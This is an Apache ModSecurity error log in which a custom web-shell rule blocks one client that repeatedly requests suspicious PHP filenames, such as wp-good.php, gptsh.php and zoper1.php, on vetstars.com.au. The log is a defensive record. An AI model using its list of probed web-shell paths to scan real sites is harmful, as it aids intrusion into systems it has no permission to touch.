[Mon Apr 06 00:19:52.378957 2026] [:error] [pid 45409:tid 45427] [client 172.161.76.59:60978] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKLqNHt_Oyw03gjCNi0XwAAANA"]
[Mon Apr 06 00:19:53.487917 2026] [:error] [pid 45303:tid 45325] [client 172.161.76.59:60949] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKLqbboQ9eViZ4hdnm3lAAAAAg"]
[Mon Apr 06 00:19:54.505869 2026] [:error] [pid 30921:tid 30945] [client 172.161.76.59:63042] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKLqmFGQVn8Q0ueB2541QAAARY"]
[Mon Apr 06 00:19:55.498135 2026] [:error] [pid 45304:tid 45355] [client 172.161.76.59:53184] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKLqw5jnqDKKovdRklbhQAAAEs"]
[Mon Apr 06 00:19:57.419274 2026] [:error] [pid 30921:tid 30942] [client 172.161.76.59:7296] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adKLrWFGQVn8Q0ueB2544QAAARM"]
[Mon Apr 06 00:19:59.274518 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:60382] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adKLr9Ht_Oyw03gjCNi0gwAAAM4"]
[Mon Apr 06 00:20:00.570613 2026] [:error] [pid 45305:tid 45395] [client 172.161.76.59:59704] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adKLsOjDQjr7aWhjflCpdQAAAJg"]
[Mon Apr 06 00:20:01.836857 2026] [:error] [pid 45409:tid 45418] [client 172.161.76.59:60399] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adKLsdHt_Oyw03gjCNi0lgAAAMc"]
[Mon Apr 06 00:20:04.459414 2026] [:error] [pid 45409:tid 45435] [client 172.161.76.59:7326] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adKLtNHt_Oyw03gjCNi0oQAAANg"]
[Mon Apr 06 00:20:05.621442 2026] [:error] [pid 45305:tid 45372] [client 172.161.76.59:60943] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adKLtejDQjr7aWhjflCpgAAAAIE"]
[Mon Apr 06 00:20:06.294620 2026] [:error] [pid 45409:tid 45431] [client 172.161.76.59:60361] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adKLttHt_Oyw03gjCNi0pAAAANQ"]
[Mon Apr 06 00:20:07.168057 2026] [:error] [pid 45409:tid 45415] [client 172.161.76.59:60894] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adKLt9Ht_Oyw03gjCNi0rgAAAMQ"]
[Mon Apr 06 00:20:08.164297 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:7357] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adKLuNHt_Oyw03gjCNi0twAAAM4"]
[Mon Apr 06 00:20:09.902943 2026] [:error] [pid 45409:tid 45411] [client 172.161.76.59:63073] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adKLudHt_Oyw03gjCNi0xgAAAMA"]
[Mon Apr 06 00:20:11.187617 2026] [:error] [pid 45303:tid 45322] [client 172.161.76.59:54971] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adKLu7boQ9eViZ4hdnm3tAAAAAU"]
[Mon Apr 06 00:20:12.600465 2026] [:error] [pid 45409:tid 45427] [client 172.161.76.59:59651] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adKLvNHt_Oyw03gjCNi01AAAANA"]
[Mon Apr 06 00:20:14.705533 2026] [:error] [pid 45409:tid 45412] [client 172.161.76.59:59710] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adKLvtHt_Oyw03gjCNi06QAAAME"]
[Mon Apr 06 00:20:17.343890 2026] [:error] [pid 45409:tid 45415] [client 172.161.76.59:54936] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adKLwdHt_Oyw03gjCNi0_AAAAMQ"]
[Mon Apr 06 00:20:18.902266 2026] [:error] [pid 45409:tid 45431] [client 172.161.76.59:59649] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adKLwtHt_Oyw03gjCNi1DgAAANQ"]
[Mon Apr 06 00:20:20.002552 2026] [:error] [pid 45305:tid 45387] [client 172.161.76.59:53187] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adKLxOjDQjr7aWhjflCpkQAAAJA"]
[Mon Apr 06 00:20:23.076450 2026] [:error] [pid 45409:tid 45415] [client 172.161.76.59:60989] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adKLx9Ht_Oyw03gjCNi1LQAAAMQ"]
[Mon Apr 06 00:20:26.164655 2026] [:error] [pid 45305:tid 45386] [client 172.161.76.59:55135] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "adKLyujDQjr7aWhjflCpmgAAAI8"]
[Mon Apr 06 00:21:25.419757 2026] [:error] [pid 45304:tid 45347] [client 172.161.76.59:54924] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adKMBQ5jnqDKKovdRklcVAAAAEM"]
[Mon Apr 06 00:21:26.952279 2026] [:error] [pid 45409:tid 45418] [client 172.161.76.59:60931] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adKMBtHt_Oyw03gjCNi2lQAAAMc"]
[Mon Apr 06 00:21:28.108785 2026] [:error] [pid 45409:tid 45411] [client 172.161.76.59:7356] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adKMCNHt_Oyw03gjCNi2nQAAAMA"]
[Mon Apr 06 00:21:30.416886 2026] [:error] [pid 45304:tid 45368] [client 172.161.76.59:59668] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adKMCg5jnqDKKovdRklcZQAAAFg"]
[Mon Apr 06 00:21:32.316988 2026] [:error] [pid 45303:tid 45331] [client 172.161.76.59:59696] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adKMDLboQ9eViZ4hdnm4vgAAAA4"]
[Mon Apr 06 00:21:34.213372 2026] [:error] [pid 45303:tid 45339] [client 172.161.76.59:60981] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adKMDrboQ9eViZ4hdnm4ywAAABY"]
[Mon Apr 06 00:21:35.634817 2026] [:error] [pid 45303:tid 45321] [client 172.161.76.59:7354] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adKMD7boQ9eViZ4hdnm42AAAAAQ"]
[Mon Apr 06 00:21:36.450065 2026] [:error] [pid 45409:tid 45413] [client 172.161.76.59:53201] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "adKMENHt_Oyw03gjCNi2vgAAAMI"]
[Mon Apr 06 00:21:37.079954 2026] [:error] [pid 45305:tid 45372] [client 172.161.76.59:60929] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKMEejDQjr7aWhjflCqGgAAAIE"]
[Mon Apr 06 00:21:37.750910 2026] [:error] [pid 45409:tid 45423] [client 172.161.76.59:53197] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKMEdHt_Oyw03gjCNi2wgAAAMw"]
[Mon Apr 06 00:21:38.437104 2026] [:error] [pid 30921:tid 30932] [client 172.161.76.59:59697] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKMEmFGQVn8Q0ueB2557AAAAQk"]
[Mon Apr 06 00:21:39.122574 2026] [:error] [pid 45305:tid 45380] [client 172.161.76.59:60948] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "adKME-jDQjr7aWhjflCqHwAAAIk"]
[Mon Apr 06 00:21:39.774032 2026] [:error] [pid 30921:tid 30937] [client 172.161.76.59:63041] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adKME2FGQVn8Q0ueB2557gAAAQ4"]
[Mon Apr 06 00:21:40.469444 2026] [:error] [pid 45409:tid 45424] [client 172.161.76.59:60937] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adKMFNHt_Oyw03gjCNi2wwAAAM0"]
[Mon Apr 06 00:21:41.302448 2026] [:error] [pid 30921:tid 30933] [client 172.161.76.59:63064] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adKMFWFGQVn8Q0ueB2558AAAAQo"]
[Mon Apr 06 00:21:42.120390 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:60975] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "adKMFtHt_Oyw03gjCNi2yAAAAM4"]
[Mon Apr 06 00:21:42.938473 2026] [:error] [pid 45409:tid 45434] [client 172.161.76.59:54925] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adKMFtHt_Oyw03gjCNi2zgAAANc"]
[Mon Apr 06 00:21:43.610113 2026] [:error] [pid 45409:tid 45431] [client 172.161.76.59:60915] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adKMF9Ht_Oyw03gjCNi20gAAANQ"]
[Mon Apr 06 00:21:44.268010 2026] [:error] [pid 30921:tid 30932] [client 172.161.76.59:53198] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adKMGGFGQVn8Q0ueB2559gAAAQk"]
[Mon Apr 06 00:21:44.780690 2026] [:error] [pid 45303:tid 45324] [client 172.161.76.59:7300] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "adKMGLboQ9eViZ4hdnm48gAAAAc"]
[Mon Apr 06 00:21:45.297988 2026] [:error] [pid 45304:tid 45344] [client 172.161.76.59:59666] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adKMGQ5jnqDKKovdRklchwAAAEA"]
[Mon Apr 06 00:21:45.864580 2026] [:error] [pid 45304:tid 45347] [client 172.161.76.59:53211] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adKMGQ5jnqDKKovdRklciQAAAEM"]
[Mon Apr 06 00:21:46.686981 2026] [:error] [pid 45303:tid 45324] [client 172.161.76.59:59673] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adKMGrboQ9eViZ4hdnm5AQAAAAc"]
[Mon Apr 06 00:21:47.313968 2026] [:error] [pid 45305:tid 45390] [client 172.161.76.59:59698] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "adKMG-jDQjr7aWhjflCqMwAAAJM"]
[Mon Apr 06 00:21:48.031938 2026] [:error] [pid 45305:tid 45379] [client 172.161.76.59:60961] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adKMHOjDQjr7aWhjflCqOAAAAIg"]
[Mon Apr 06 00:21:49.044650 2026] [:error] [pid 45304:tid 45360] [client 172.161.76.59:59657] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adKMHQ5jnqDKKovdRklcjwAAAFA"]
[Mon Apr 06 00:21:51.016457 2026] [:error] [pid 45305:tid 45381] [client 172.161.76.59:7331] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adKMH-jDQjr7aWhjflCqQwAAAIo"]
[Mon Apr 06 00:21:52.737025 2026] [:error] [pid 45305:tid 45377] [client 172.161.76.59:60958] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adKMIOjDQjr7aWhjflCqSgAAAIY"]
[Mon Apr 06 00:21:55.000800 2026] [:error] [pid 45409:tid 45426] [client 172.161.76.59:59708] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adKMItHt_Oyw03gjCNi25AAAAM8"]
[Mon Apr 06 00:21:55.743838 2026] [:error] [pid 45409:tid 45424] [client 172.161.76.59:60355] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adKMI9Ht_Oyw03gjCNi25gAAAM0"]
[Mon Apr 06 00:21:56.972969 2026] [:error] [pid 45409:tid 45419] [client 172.161.76.59:59677] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adKMJNHt_Oyw03gjCNi27AAAAMg"]
[Mon Apr 06 00:21:58.491161 2026] [:error] [pid 45303:tid 45339] [client 172.161.76.59:60381] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adKMJrboQ9eViZ4hdnm5GAAAABY"]
[Mon Apr 06 00:21:59.427067 2026] [:error] [pid 45303:tid 45338] [client 172.161.76.59:54964] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adKMJ7boQ9eViZ4hdnm5HAAAABU"]
